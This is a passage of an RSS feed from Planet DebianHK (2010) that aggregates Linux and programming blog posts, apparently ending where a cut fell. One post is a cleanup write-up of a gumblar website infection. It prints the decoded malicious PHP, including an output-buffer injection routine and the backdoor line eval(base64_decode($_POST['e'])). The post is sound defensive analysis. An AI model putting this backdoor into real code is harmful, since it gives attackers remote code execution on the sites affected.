<?xml version="1.0"?>
<rdf:RDF
	xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:foaf="http://xmlns.com/foaf/0.1/"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns="http://purl.org/rss/1.0/"
>
<channel rdf:about="http://planet.debian.org.hk/">
	<title>Planet DebianHK</title>
	<link>http://planet.debian.org.hk/</link>
	<description>Planet DebianHK - http://planet.debian.org.hk/</description>

	<items>
		<rdf:Seq>
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/569" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/189/Seed_doc_updates_and_Gio_async_directory_listing.html" />
			<rdf:li rdf:resource="http://blog.xychen.org/archives/2010/03/06/new-look-of-ubuntu/" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/568" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/567" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/188/Reported_Attack_Site__recovering_from_gumblars.html" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-2623867737968357576" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/187/Generating_Seed_Documentation_from_Gobject_introspection.html" />
			<rdf:li rdf:resource="http://www.punknix.com/136 at http://www.punknix.com" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/566" />
			<rdf:li rdf:resource="http://www.hkcode.com/programming/565" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/564" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/563" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/186/Drag_and_Drop_with_seed_Javascript_and_Gtk_.html" />
			<rdf:li rdf:resource="http://me.abelcheung.org/?p=731" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/562" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/561" />
			<rdf:li rdf:resource="http://www.hkcode.com/programming/560" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/559" />
			<rdf:li rdf:resource="http://www.hkcode.com/my-life/558" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-4006348345528649311" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/185/Javascript_on_the_Desktop_well_Linux_Mostly.html" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-1791050942856904609" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-5575904075984704567" />
			<rdf:li rdf:resource="http://www.hkcode.com/internet-notes/557" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-1637058570151469939" />
			<rdf:li rdf:resource="http://blog.xychen.org/archives/2009/12/13/%e6%b0%91%e4%b8%bb%e9%bb%a8/" />
			<rdf:li rdf:resource="http://www.hkcode.com/internet-notes/556" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-4078398880973605609" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/184/RooJs_Appbuilder_preview.html" />
			<rdf:li rdf:resource="http://www.hkcode.com/programming/555" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-9035715295298650917" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/183/Ubuntu_release_910_a_bit_early.html" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-6477961371148635805" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-1288431520593968318" />
			<rdf:li rdf:resource="http://www.debian.org.hk/18874 at http://www.debian.org.hk" />
			<rdf:li rdf:resource="http://www.debian.org.hk/18873 at http://www.debian.org.hk" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/182/Speedier_google_translate_API_for_RooJs_and_ExtJS.html" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-7951992894896555886" />
			<rdf:li rdf:resource="http://www.debian.org.hk/18869 at http://www.debian.org.hk" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/181/PEAR_state_of_play_why_move_to_PEAR2.html" />
			<rdf:li rdf:resource="http://www.punknix.com/135 at http://www.punknix.com" />
			<rdf:li rdf:resource="http://www.hkcode.com/my-life/554" />
			<rdf:li rdf:resource="http://www.punknix.com/129 at http://www.punknix.com" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/180/Barcamp_Hong_Kong_2009.html" />
			<rdf:li rdf:resource="http://www.hkcode.com/programming/553" />
			<rdf:li rdf:resource="http://www.hkcode.com/programming/552" />
			<rdf:li rdf:resource="http://www.punknix.com/134 at http://www.punknix.com" />
			<rdf:li rdf:resource="http://www.hkcode.com/programming/551" />
			<rdf:li rdf:resource="http://www.hkcode.com/driving/550" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/549" />
			<rdf:li rdf:resource="http://me.abelcheung.org/?p=725" />
			<rdf:li rdf:resource="http://me.abelcheung.org/?p=724" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-7407352735508376287" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-4541943624389063693" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-2250642303410589278" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-7419692015450239287" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-214632598019292015" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-903005136820256508" />
			<rdf:li rdf:resource="http://www.debian.org.hk/18866 at http://www.debian.org.hk" />
		</rdf:Seq>
	</items>
</channel>

<item rdf:about="http://www.hkcode.com/linux-bsd-notes/569">
	<title>Sam Tang: Linux: 將檔案的 Tabs 字元用空白取代</title>
	<link>http://www.hkcode.com/linux-bsd-notes/569</link>
	<content:encoded>&lt;p&gt;在 Linux 下有一個工具 &amp;#8220;expand&amp;#8221;，它可以將檔案內所有 tabs 字元轉換為空白字元， 用法如下：&lt;/p&gt;
&lt;p&gt;expand input.file &gt; output.file&lt;br /&gt;
expand data.txt &gt; output.txt&lt;br /&gt;
expand -t 2 data.txt &gt; output.txt&lt;/p&gt;
&lt;p&gt;上面第三行的參數 -t 是定義用多少個空白字元取代 tabs。而另一個工具 &amp;#8220;unexpand&amp;#8221; 則與 &amp;#8220;expand&amp;#8221; 剛剛相反， 是將空間字元轉換為 tabs 字元。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-03-11T13:07:07+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/189/Seed_doc_updates_and_Gio_async_directory_listing.html">
	<title>Alan Knowles: Seed doc updates, and Gio async directory listing</title>
	<link>http://www.akbkhome.com/blog.php/View/189/Seed_doc_updates_and_Gio_async_directory_listing.html</link>
	<content:encoded>The &lt;a href=&quot;http://devel.akbkhome.com/seed/&quot;&gt;documentation for seed gobject introspection&lt;/a&gt; is improving continually, I now have a &lt;a href=&quot;http://live.gnome.org/Jhbuild&quot;&gt;jhbuild&lt;/a&gt; virtual machine, which is picking up the latest versions from git.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In addition many of the documentation details have been expanded, including&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Interfaces, Enums&lt;/li&gt;&lt;li&gt;callback methods are now documented&lt;/li&gt;&lt;li&gt;More libraries have been added.&lt;/li&gt;&lt;li&gt;More doc comments can be picked up&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;With better documentation it's finally possible to figure out how to use the API. A classic example of this was a small problem I tried to solve before the API documentation was available. Listing a directory asynchronously, It took me over an hour to get close to figuring out how to do this, I eventually had to give up. as digging through the source, C reference and GIR files took so long.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;However within 5 minutes with the documentation, I was able to write a small script to do this.&lt;/div&gt;&lt;pre&gt;Gio = imports.gi.Gio;
Gtk = imports.gi.Gtk;

var f = Gio.file_new_for_path('/home/');
f.enumerate_children_async (
        &amp;quot;*&amp;quot;,  
        Gio.FileQueryInfoFlags.NONE, 
        GLib.PRIORITY_DEFAULT, 
        null, 
        function(o,ar) {
          // listing completed..
           var fe = f.enumerate_children_finish(ar);&lt;br /&gt;           var ch = false;&lt;br /&gt;           while (ch = fe.next_file(null)) {
               Seed.print(ch.get_name());        
           }
           Seed.quit();
    
        },
        null);

Gtk.main();&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-03-08T05:52:00+00:00</dc:date>
</item>
<item rdf:about="http://blog.xychen.org/archives/2010/03/06/new-look-of-ubuntu/">
	<title>來醫: Ubuntu 新 Look</title>
	<link>http://blog.xychen.org/archives/2010/03/06/new-look-of-ubuntu/</link>
	<content:encoded>&lt;p&gt;&lt;img id=&quot;image772&quot; src=&quot;http://blog.xychen.org/wp-content/uploads/2010/03/4405063702_907b40fcc4_o.png&quot; alt=&quot;Ubuntu New Light Theme&quot; align=&quot;right&quot; class=&quot;frame&quot; /&gt;&lt;/p&gt;

&lt;p&gt;早幾日，Ubuntu 正式發佈了在四月將推出的 Ubuntu 10.04 LTS (Lucid Lynx) 將大改形象，揚棄一直以來啡橙色調 Human 佈景主題。預設桌面背景改為紫色，面板和視窗標題則提供銀/黑兩款。說實, 我覺得這個新主題佈景一般，Mac 感太重。喜見 status icon mono-tone 化，但連 main menu 個 logo 都 mono-tone 就似乎太單調。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://chrome.google.com/extensions/detail/elnmibmpefhmfgphdphdncoogpbfmlbp&quot;&gt;Ambiance Theme for Chrome/Chromium&lt;/a&gt; - 配合 Ubuntu 10.04 黑佈景主題 Ambiance 的 Chrome/Chromium 佈景主題。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://chrome.google.com/extensions/detail/mikdfeaeaecoffpjoodiihgejnbfigln&quot;&gt;Ambiance Scrollbar for Chrome/Chromium&lt;/a&gt; - 配合 Ubuntu 10.04 黑佈景主題 Ambiance 的 Chrome/Chromium Scrollbar。&lt;/li&gt;
&lt;/ul&gt;</content:encoded>
	<dc:date>2010-03-05T16:58:51+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/568">
	<title>Sam Tang: Ubuntu - Firefox 的 Flash 亂碼問題</title>
	<link>http://www.hkcode.com/linux-bsd-notes/568</link>
	<content:encoded>&lt;p&gt;在 Google 找了一下，應該是 /etc/fonts/conf.d/49-sansserif.conf 出問題，只要將檔案移除或移到其他地方就可以：&lt;/p&gt;
&lt;p&gt;sudo mv /etc/fonts/conf.d/49-sansserif.conf /etc/fonts/conf.d/49-sansserif.conf.bak&lt;/p&gt;
&lt;p&gt;輸入以上指令後，只要重新啟動 Firefox，就可以看到問題解決了。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-03-05T03:50:10+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/567">
	<title>Sam Tang: vi 方向鍵及 backspace 的問題</title>
	<link>http://www.hkcode.com/linux-bsd-notes/567</link>
	<content:encoded>&lt;p&gt;在 Ubuntu 上面有時編輯一些設定檔時會直接用 vi 來做，但預設安裝 Ubuntu 後用 vi 開啟檔案，會發覺方向鍵及 backspace 鍵不能使用，解法方法是在家目錄建立 .vimrc 檔案，然後加入以下內容：&lt;/p&gt;
&lt;p&gt;    set nocompatible&lt;br /&gt;
    set backspace=2&lt;/p&gt;
&lt;p&gt;儲存檔案後離開，下次使用 vi 開啟檔案就可以使用方向鍵及 backspace 了。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-03-05T01:32:41+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/188/Reported_Attack_Site__recovering_from_gumblars.html">
	<title>Alan Knowles: Reported Attack Site - recovering from gumblars</title>
	<link>http://www.akbkhome.com/blog.php/View/188/Reported_Attack_Site__recovering_from_gumblars.html</link>
	<content:encoded>&lt;div&gt;
   &lt;p&gt;Just about finished a gumblar cleanup, for a small Hong Kong company. This is not the first crack I've seen in the last few months, I fixed another server last month that got ssh brute force attacked. It looks like cracking is on the up, so if you need help fixing a site, by someone who knows what they are doing, and at the same time you will help out a number of open source projects - give me a bell (alan@akbkhome.com)&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;The gumblar (or derivative) attack I was looking at was quite interesting, the first indication the owner got was that browsers kept showing the &amp;quot;Reported Attack Site!&amp;quot; or &amp;quot;Warning: Visiting this site may harm your computer&amp;quot; message. So I get the call to find out what's going on.&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;When you ignore the message and go through to the site, look at the HTML the first thing you see is that there is a &amp;lt;script&amp;gt; tag added just before the body pointing to a gifimg.php file. After that you have a long hunt around google to find out what's going on.&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;At the time of writing, the exact attack vector does not look like it's been confirmed, but is either a brute force ftp attack (I think is quite unlikely considering the username/pass combo on this sample site). Or more likely a PDF desktop attack to a machine that has access to the site.&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;My first assumption was that it was a Wordpress exploit, but the more I examined the situation, it seemed less likely. However I highly suspect that the PDF attack vector having got the ftp credentials goes looking for standard locations of wordpress installations (eg. '/wordpress) - so hint one is not to install your software in such obvious places.&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;h3&gt;Cleaning it out&lt;/h3&gt;
   &lt;p&gt;The first step in sorting out the mess was to mirror the original site, with virus and all onto a offline location. (both as a precaution that if we broke things we had a backup, and so we can use this as a source to replace the hacked files with new ones).&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;After that it was a matter of googling for details of the attack and writing a &lt;a href=&quot;http://www.akbkhome.com/svn/akpear/_scratchpad_/gumbar_clean.php&quot;&gt;gumblar cleaner script.&lt;/a&gt; It basically checks for infected file types, then preg_replaces out the hacked additions. These include&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span lang=&quot;en-US&quot;&gt;	php files with an eval/base64_encode line&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang=&quot;en-US&quot;&gt;	javascript files with document.write lines&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang=&quot;en-US&quot;&gt;	html, shtml and htm files with &amp;lt;script tags.&lt;/span&gt;    &lt;/li&gt;&lt;/ul&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;
   &lt;/p&gt;&lt;p&gt;&lt;span lang=&quot;en-US&quot;&gt;I used ftpput, and check return values, to ensure that each file was successfully replaced before overwriting the local copy and making a nice copy for my reference into the virus folder.&lt;/span&gt;&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;
   &lt;/p&gt;&lt;h3&gt;&lt;span lang=&quot;en-US&quot;&gt;Inside out of the attack.&lt;/span&gt;&lt;/h3&gt;
   &lt;p&gt;&lt;span lang=&quot;en-US&quot;&gt;The infection is quite interesting, and in this case was quite painful, due to the nature of how Wordpress publishes files.&lt;/span&gt;&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;&lt;span lang=&quot;en-US&quot;&gt;Initially I suspect the core code in the PDF actually has some ftp code which will try and modify standard set of PHP files to add a small base64_encode script.. (phplist, and wordpress appear to be core targets, and I'm sure there are more.)&lt;/span&gt;&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;&lt;span lang=&quot;en-US&quot;&gt;This is a snippet of some of the code that get's added (it's all eval, base64_encoded - read up on my blog post about idiot ways to protect your PHP code using this idea.)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;This is a snippet of the decoded script&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;if(!function_exists('kqyf')){&lt;br /&gt;   function kqyf($s){&lt;br /&gt; &lt;br /&gt;     ... infect the page stuff goes here...  &lt;br /&gt;	}&lt;br /&gt;	function kqyf2($a,$b,$c,$d){&lt;br /&gt;		global$kqyf1;&lt;br /&gt;		$s=array();&lt;br /&gt;		if(function_exists($kqyf1))&lt;br /&gt;			call_user_func($kqyf1,$a,$b,$c,$d);&lt;br /&gt;		foreach(@ob_get_status(1)as$v)&lt;br /&gt;			if(($a=$v['name'])=='kqyf')&lt;br /&gt;				return;&lt;br /&gt;			elseif($a=='ob_gzhandler')&lt;br /&gt;				break;&lt;br /&gt;			else&lt;br /&gt;				$s[]=array($a=='default output handler'?false:$a);&lt;br /&gt;		for($i=count($s)-1;$i&amp;gt;=0;$i--){&lt;br /&gt;			$s[$i][1]=ob_get_contents();&lt;br /&gt;			ob_end_clean();&lt;br /&gt;		}&lt;br /&gt;		ob_start('kqyf');&lt;br /&gt;		for($i=0;$i&amp;lt;count($s);$i++){&lt;br /&gt;			ob_start($s[$i][0]);&lt;br /&gt;			echo $s[$i][1];&lt;br /&gt;		}&lt;br /&gt;	}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$kqyfl=(($a=@set_error_handler('kqyf2'))!='kqyf2')?$a:0;&lt;br /&gt;eval(base64_decode($_POST['e']))  &lt;!-- For more information visit http://www.abisource.com.    --&gt;&lt;br /&gt;  &lt;/pre&gt;
 
 
  &lt;div&gt;
   
   &lt;p&gt;After that wordpress does it's wonders and infects the rest of the site for you. As all the generated pages suddenly get the extra &amp;lt;script tags&amp;gt; when publishing and your wordpress outputs the infection into the admin system.&lt;/p&gt;&lt;p&gt;Note: I only dissected one of the php scripts, which changed output buffering adding the &amp;lt;script tag, but did not see the document.write changer. I suspect there may be another variant of the script above that i did not look at that modifies the javascript files, or that it's done remotely.&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;Anyway all cleaned up after a few days (due to the long time the original backup took) . After this the recommendations for the owner where, stop using adobe PDF viewer (there are alternatives out there) - stop using IE, ask all staff to use Firefox with noscript. and keep a backup!&lt;/p&gt;
  &lt;/div&gt;
 &lt;/div&gt;</content:encoded>
	<dc:date>2010-03-03T08:58:00+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-2623867737968357576">
	<title>Vern: debian/testing 的 msmtp 发不出邮件</title>
	<link>http://s5unty.blogspot.com/2010/03/debiantesting-msmtp.html</link>
	<content:encoded>FROM: &lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=564661#129&quot;&gt;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=564661#129&lt;/a&gt;&lt;br /&gt;&amp;gt; Premysl Hruby &amp;lt;&lt;a href=&quot;mailto:dfenze@gmail.com&quot;&gt;dfenze@gmail.com&lt;/a&gt;&amp;gt; writes:&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; &amp;gt; gsasl: initialization failure: Low-level crypto error in SASL library&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; I believe this means libgsasl was built against libgcrypt in unstable,&lt;br /&gt;&amp;gt; but you are running libgsasl with libgcrypt from testing.  The version&lt;br /&gt;&amp;gt; comparison fails in libgsasl (unstable 1.4.5 &amp;gt; testing 1.4.4) so&lt;br /&gt;&amp;gt; libgsasl refuses to work.&lt;p&gt;发不出邮件，提示我&amp;quot;SASL 库中出现低级加密错误&amp;quot;，检查发现和 msmtp 采用的&lt;br /&gt;加密库 GNU SASL 有关&lt;p&gt;执行 gsasl --client-mechanism 可检测加密库是否正确，&lt;br /&gt;$ gsasl --client-mechanisms&lt;br /&gt;gsasl: 初始化失败：SASL 库中出现低级加密错误&lt;br /&gt;$ wget &lt;a href=&quot;http://ftp.kr.debian.org/debian/pool/main/libg/libgcrypt11/libgcrypt11_1.4.5-2_i386.deb&quot;&gt;http://ftp.kr.debian.org/debian/pool/main/libg/libgcrypt11/libgcrypt11_1.4.5-2_i386.deb&lt;/a&gt;&lt;br /&gt;$ dpkg -i libgcrypt11_1.4.5-2_i386.deb&lt;br /&gt;$ gsasl --client-mechanisms&lt;br /&gt;这个客户端支持以下机制：&lt;br /&gt;ANONYMOUS EXTERNAL LOGIN PLAIN SECURID NTLM DIGEST-MD5 CRAM-MD5&lt;br /&gt;SCRAM-SHA-1 GSSAPI&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-2623867737968357576?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-03-02T13:23:13+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/187/Generating_Seed_Documentation_from_Gobject_introspection.html">
	<title>Alan Knowles: Generating Seed Documentation from Gobject introspection</title>
	<link>http://www.akbkhome.com/blog.php/View/187/Generating_Seed_Documentation_from_Gobject_introspection.html</link>
	<content:encoded>Job hunting is going pretty slowly (if anyone at ubuntu is listening hint hint ;) , and projects are pretty much done, so I get to work on really cool stuff.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;While developing in seed is pretty productive, hunting down the documentation, or discovering the right method to use has been one of the roadblocks I have been bumping up against. So wondered yesterday how well the introspection code in seed works.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Turns out, that the built in Seed.introspection() method is pretty pointless, even after committing a few extra features, I discovered it was never going to be much help. However girepostory has it's on gir/typelib file, so you can call introspection directly.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After a few experiments, I worked out to inspect basically every method, and class in Gnome. Hence there is now full documentation for every Gnome Class that seed can talk to (this does not include libxml however, as it does not use gir to talk to that.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Support for doc comments (by parsing the gir files) is there, but the machines I build on unfortunately have rather old gir files, which do not include all the docs comments.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This code could be very easily refactored to generate docs for pygi, gjs or vala.. or any other gir based binding..&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For your viewing pleasure..&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;http://devel.akbkhome.com/seed/index.shtml&quot;&gt;Seed Gnome Documentation&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If it's not working, it's probably as I'm working on it and have broken it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The code is in my &lt;a href=&quot;http://www.akbkhome.com/svn/seed/&quot;&gt;seed subversion repo&lt;/a&gt; the key files that do all the work are JSDOC/Introspection.js, and docs.js The rest of the code just deals with Template parsing and handling (/docs/* are the templates)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To run it you need cutting edge seed (which can take quite a while to set up as it depends on a recent webkit build)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Enjoy.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-02-25T15:18:00+00:00</dc:date>
</item>
<item rdf:about="http://www.punknix.com/136 at http://www.punknix.com">
	<title>Punky Tse: DNMA92, ath9k and hostapd with Voyage Linux</title>
	<link>http://www.punknix.com/dnma92-ath9k-and-hostapd-with-voyage-linux</link>
	<content:encoded>&lt;p&gt;
After the release of &lt;a href=&quot;http://linux.voyage.hk/content/voyage-linux-065-released&quot;&gt;Voyage Linux 0.6.5&lt;/a&gt;, I finally have time to explore AP mode with &lt;a href=&quot;http://wireless.kernel.org/en/users/Drivers/ath9k&quot;&gt;ath9k&lt;/a&gt; driver.
&lt;/p&gt;
&lt;p&gt;
&lt;a href=&quot;http://www.pcengines.ch/dnma92.htm&quot;&gt;DNMA-92&lt;/a&gt; wireless card is donated by &lt;a href=&quot;http://www.pcengines.ch&quot;&gt;PCEngines&lt;/a&gt; for ath9k driver and Voyage Linux integration.
&lt;/p&gt;
&lt;p&gt;
First, you will need to install &lt;a href=&quot;http://wireless.kernel.org/en/users/Documentation/iw&quot;&gt;iw&lt;/a&gt; package from http://www.voyage.hk/dists/0.6/iw/.  Voyage Linux 0.6.5 didn't package it, so you need to install it manually.
&lt;/p&gt;
&lt;p&gt;
Although you won't need iw tool in the instructions further below, you can use it for getting information on your nl80211 based wireless interface instead of iwconfig (See &lt;a href=&quot;http://wireless.kernel.org/en/users/Documentation/iw/replace-iwconfig&quot;&gt;this page&lt;/a&gt; for more info).  To start with, install iw tool:
&lt;pre&gt;
# remountrw
# wget http://www.voyage.hk/dists/0.6/iw/iw_0.9.14-1_i386.deb
# dpkg -i iw_0.9.14-1_i386.deb
&lt;/pre&gt;
According to &lt;a href=&quot;http://wireless.kernel.org/en/users/Documentation/hostapd&quot;&gt;this link&lt;/a&gt;, ath9k will need to use nl80211 driver for hostap functions.  So, in /etc/hostapd/hostapd.conf, append the following at the end of the file.  
&lt;pre&gt;
driver=nl80211
interface=wlan0
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
debug=4
dump_file=/tmp/hostapd.dump
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
macaddr_acl=0
auth_algs=3
eapol_key_index_workaround=0
eap_server=0
wpa=3
ssid=voyage-wpa
wpa_passphrase=voyage-wpa
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
channel=11
hw_mode=g
eapol_version=1
&lt;/pre&gt;
Please note that Voyage Linux use wlan0 for ath9k interface.  From the above configure, I have configured WPA/WPA2, using voyage-wpa as both SSID and pre-shared key, running 802.11g mode on channel 11.  eapol_version=1 is set for backward compatibility to my damn old 2001 iBook.  Later, I may further explore on setting up 802.11n mode, I won't do it now since I have no client device with 11n.
&lt;/p&gt;
&lt;p&gt;
At last, don't forget to enable wlan0 in /etc/network/interfaces:
&lt;pre&gt;
auto wlan0
iface wlan0 inet static
        address 10.1.10.1
        netmask 255.255.255.0
        broadcast 10.1.10.255
        up nat.sh wlan0 eth0 &quot;10.1.10.0/24&quot;
&lt;/pre&gt;
You don't need to set anything with iw tools since hostapd will do it for you. Now, 
make sure hostapd is enabled in /etc/default/hostapd and restart wlan0 interface and hostapd by:
&lt;pre&gt;
# ifdown wlan0
# ifup wlan0
# /etc/init.d/hostapd restart
&lt;/pre&gt;
That's it.  I can now connecting my iBook and iPhone to Voyage Linux with running ath9k in AP mode! 
&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.punknix.com/dnma92-ath9k-and-hostapd-with-voyage-linux&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-23T15:48:01+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/566">
	<title>Sam Tang: Linux: 操作包含特殊字元的檔案</title>
	<link>http://www.hkcode.com/linux-bsd-notes/566</link>
	<content:encoded>&lt;p&gt;在 Unix 或 Linux 下很多特殊字元也是指令的一部份，例如空格 (&amp;#8221; &amp;#8220;)、問號 (&amp;#8221;?&amp;#8221;) 及橫線 (&amp;#8221;-&amp;#8221;) 等。所以如果檔案名稱包含了一些特殊字元，在操作上便會出現錯誤，例如:&lt;/p&gt;
&lt;div class=&quot;shell&quot;&gt;
# touch -foo.txt&lt;br /&gt;
touch: invalid option &amp;#8212; &amp;#8216;o&amp;#8217;&lt;br /&gt;
Try `touch &amp;#8211;help&amp;#8217; for more information.&lt;br /&gt;
# touch &amp;#8211;foo.txt&lt;br /&gt;
touch: unrecognized option &amp;#8216;&amp;#8211;foo.txt&amp;#8217;&lt;br /&gt;
Try `touch &amp;#8211;help&amp;#8217; for more information.&lt;/div&gt;
&lt;p&gt;上面輸入了兩行指令，分別用 touch 建立檔案 &amp;#8220;-foo.txt&amp;#8221; 及 &amp;#8220;&amp;#8211;foo.txt&amp;#8221;，但同樣發生錯誤。要解決這個問題，只要在指令後面加上兩個橫線 &amp;#8220;&amp;#8211;&amp;#8221; 即可，例如:&lt;/p&gt;
&lt;div class=&quot;shell&quot;&gt;
# touch &amp;#8212; &amp;#8211;foo.txt&lt;br /&gt;
# touch &amp;#8212; -foo.txt&lt;/div&gt;
&lt;p&gt;而這個方法同樣可以在其他檔案操作指令使用，例如 cp, mv, rm, rmdir。&lt;/p&gt;
&lt;p&gt;以下是 cp 及 mv 的用法:&lt;/p&gt;
&lt;p&gt;cp - - &amp;#8216;-foo.txt&amp;#8217; /path/to/dest&lt;br /&gt;
mv - - &amp;#8216;-foo.txt&amp;#8217; /path/to/dest
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-22T07:55:57+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/programming/565">
	<title>Sam Tang: 使用 PHP GZIP 使網頁提速</title>
	<link>http://www.hkcode.com/programming/565</link>
